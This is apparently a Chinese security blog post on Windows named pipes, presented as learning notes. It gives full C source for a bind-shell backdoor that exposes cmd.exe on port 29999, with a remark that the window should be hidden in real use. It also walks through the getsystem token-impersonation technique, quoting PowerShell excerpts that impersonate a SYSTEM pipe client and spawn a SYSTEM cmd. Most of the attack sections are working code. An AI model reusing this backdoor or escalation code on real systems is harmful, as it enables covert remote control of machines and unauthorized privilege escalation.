• 命名管道基础


    是可以单向或双面再服务器和一个或多个客户端之间进行通讯的管道,命名管道的所有实例拥有相同的名称,但每个实例都有自己的缓冲区和句柄,用来为不同客户端通讯提供独立管道。
    命名管道的名称在本系统中是唯一的。
    命名管道可以被任意符合权限要求的进程访问。
    命名管道只能在本地创建。
    命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。
    命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。
    

    列出当前计算机上的所有命名管道(powershell):
    [System.IO.Directory]::GetFiles("\\.\\pipe\\")
    
  • 用管道实现简单 shell 后门


    一个正向 shell,被控者本地监听一个端口,由攻击者主动连接。
    image-20220315225501477
    攻击者的数据从通过 socket 传入被控者的 buffer,buffer 通过一个管道写入,CMD 从该管道的另一端读取,并作为输入。
    执行后,CMD 将输出写入另一个管道,由 buffer 从另一端读取后,通过 socket 发送给 hacker。
    windows 管道分为命名管道和匿名管道,其中匿名管道只能实现本地机器上两个进程的通信,通常用于父进程和子进程之间传送数据,这里采用匿名管道实现。
    代码(网上的代码有各种奇奇怪怪的 bug,最后写出来的也是个代码健壮性几乎为 0 的东西,但当作学习还是勉强能冲的)
    #include <stdio.h>
    #include <winsock2.h>
    #pragma comment (lib, "ws2_32")
    
    int main()
    {
        WSADATA wsa;
    
        WSAStartup(MAKEWORD(2, 2), &wsa);
    
        // 创建 TCP 套接字
        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        // 绑定套接字
        sockaddr_in sock;
        sock.sin_family = AF_INET;
        sock.sin_addr.S_un.S_addr = INADDR_ANY;
        sock.sin_port = htons(29999);
        bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
    
        // 设置监听
        listen(s, 5);
        // 接收客户端请求
        sockaddr_in sockClient;
        int SaddrSize = sizeof(SOCKADDR);
        SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
    
        // 创建管道
        SECURITY_ATTRIBUTES sa1, sa2;
        HANDLE hRead1, hRead2, hWrite1, hWrite2;
    
        sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa1.lpSecurityDescriptor = NULL;
        sa1.bInheritHandle = TRUE;
    
        sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa2.lpSecurityDescriptor = NULL;
        sa2.bInheritHandle = TRUE;
    
        CreatePipe(&hRead1, &hWrite1, &sa1, 0);
        CreatePipe(&hRead2, &hWrite2, &sa2, 0);
    
        // 创建用于通信的子进程
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory(&si, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        // 为了测试设置 SW_SHOW 实际上应该用 SW_HIDE
        si.wShowWindow = SW_SHOW;
        // 替换标准输入输出句柄
        si.hStdInput = hRead1;
        si.hStdOutput = hWrite2;
        si.hStdError = hWrite2;
    
        char* szCmd = "cmd";
    
        CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
        unsigned long dwBytes = 0;
        BOOL bRet = FALSE;
        const int MAXSIZE = 0x1000;
        char szBuffer[MAXSIZE] = "\0";
    
        while (TRUE)
        {
            ZeroMemory(szBuffer, MAXSIZE);
            bRet = PeekNamedPipe(hRead2, szBuffer, MAXSIZE, &dwBytes, 0, 0);
    
            if (dwBytes)
            {
                ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL);
                printf("send:%s", szBuffer);
                int len = strlen(szBuffer);
                int iCurrSend = send(sc, szBuffer, len-1, 0);
                // 不知道为什么不-1的话链接会直接断掉
                if (iCurrSend <= 0)
                {
                    printf("send error %d", WSAGetLastError());
                    goto exit;
                }
            }
            else 
            {
                dwBytes = recv(sc, szBuffer, 1024, 0);
                if (dwBytes)
                {
                    printf("recv:%s", szBuffer);
                    WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL);
                }
            }
        }
    exit:
        closesocket(s);
        CloseHandle(hRead1);
        CloseHandle(hRead2);
        CloseHandle(hWrite1);
        CloseHandle(hWrite2);
        WSACleanup();
        return 0;
    }
    
  • getsystem 原理


    命名管道有一个特点,就是允许服务端进程模拟连接到客户端进程。可以利用 ImpersonateNamedPipeClient 这个 API,通过命名管道的服务端进程模拟客户端进程的访问令牌,也就说如果有一个非管理员用户身份运行的命名管道服务器,并有一个管理员的进程连接到这个管道,那么理论上就可以冒充管理员用户。
    API 的官方描述:
    When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function
    

    使用的限制条件(满足其一):
    1.请求的令牌模拟级别小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
    2.调用方具有 SeImpersonatePrivilege 权限(通常需要 admin 用户)
    3.一个进程(或调用者登录会话中的另一个进程)通过 LogonUser 或 LsaLogonUser 函数使用显式凭据创建令牌。
    4.经过身份验证的标识与调用方相同。
    

    image-20220318151741588
    具体的实现过程:
    1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
    2.创建一个进程,并让进程创建命名管道。
    3.让之前的以system权限启动的程序启动并连接这个命名管道。
    4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
    5.利用system权限的token启动cmd.exe。
    

    通过 sysmon 可以看到一部分的实现:
    image-20220318172713799
    具体也可以用这个脚本实现全过程 https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1
    image-20220318174705913
    这里先创建了一个 named pipe security object ,并实例化了命名管道 "pipedummy",关联访问控制列表
    $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
    $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", 
    "ReadWrite", "Allow" )
    $PipeSecurity.AddAccessRule($AccessRule)
    
    $pipename="pipedummy"
    $pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",
    10, "Byte", "None", 1024, 1024, $PipeSecurity)
    $PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
    

    进入等待连接,客户端连接后就读取发来的数据
    $pipe.WaitForConnection()
    
    $pipeReader = new-object System.IO.StreamReader($pipe)
    $Null = $pipereader.ReadToEnd()
    

    然后用 system 权限连接管道(主机无法直接用 system 登录,这里用了 msf 中的 shell)。
    echo test > \\.\pipe\dummypipe
    

    image-20220318181651093
    脚本中在当前线程中模拟客户端(调用 ImpersonateNamedPipeClient)
    #we are still Attacker
    $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
    #now  we are impersonating the user (Victim),
    $user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    echo $user
    # everything we do BEFORE RevertToSelf is done on behalf that user
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    

    接着可以获得线程(victim,这里是 system 权限)的令牌。
    #we are Victim
    #get the current thread handle
    $ThreadHandle = $GetCurrentThread.Invoke()
    [IntPtr]$ThreadToken = [IntPtr]::Zero
    #get the token of victim's thread
    [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, 
    $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)
    

    然后用这个令牌的身份启动一个新的进程,通过 CreateProcessWithToken API,但是这个 API 的调用需要 SeImpersonatePrivilege 权限,这也对应了前面的条件限制。
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    $pipe.close()
    #run a process as the previously impersonated user
    $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
    [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
    $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
    [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
    $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
    [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
    $memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
    $processname="c:\windows\system32\cmd.exe"
    $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
    $ProcessArgsPtr = [IntPtr]::Zero
    
    $Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,
    $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, 
    $StartupInfoPtr, $ProcessInfoPtr)
    
    $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    echo "CreateProcessWithToken: $Success  $ErrorCode"
    

    然后就可以看到弹出的 system 的 cmd了
    image-20220318181709330
    附注: CreateProcessWithToken ()依赖于“Secondary Logon Service(辅助登录服务)”,因此如果禁用此服务,调用将失败。(机翻)
    在 msf 也能看到类似操作:
    image-20220318183320801
  • 参考文献


标签: none

添加新评论